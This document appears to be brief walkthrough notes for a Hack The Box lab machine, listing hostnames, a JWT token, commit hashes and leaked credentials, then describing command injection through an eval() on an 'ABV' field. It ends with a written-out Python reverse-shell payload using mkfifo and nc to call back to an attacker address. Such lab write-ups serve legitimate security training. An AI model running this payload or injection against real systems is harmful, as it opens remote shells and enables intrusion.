- craft.htb
- api.craft.htb
- gogs.craft.htb
- Download API:
git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git
- Open Issues
- API Token (JWT):
X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw
- Commit:
c414b160578943acfe2e158e89409623f41da4c6
- Closed Issues
- Commit:
4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95
redirects to a 404.
- Git Harvesting
git log
- File allows to execute raw SQL commands
- Credentials:
dinesh:4aUh0A8PbVJxgd
- Test Script - commit
c414b160578943acfe2e158e89409623f41da4c6
- Add found credentials to
test.py
and execute. - The cript confirms the credentials and authenticates the token as valid.
- Find an execution point in the script which allows to execute commands (Commit:
c414b160578943acfe2e158e89409623f41da4c6
). An eval function executes the 'ABV' value. Inject command using ABV. - Executing the script now sends an ICMP request.
- Modify the script and embed a python reverse shell.
"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 9001 >/tmp/f')"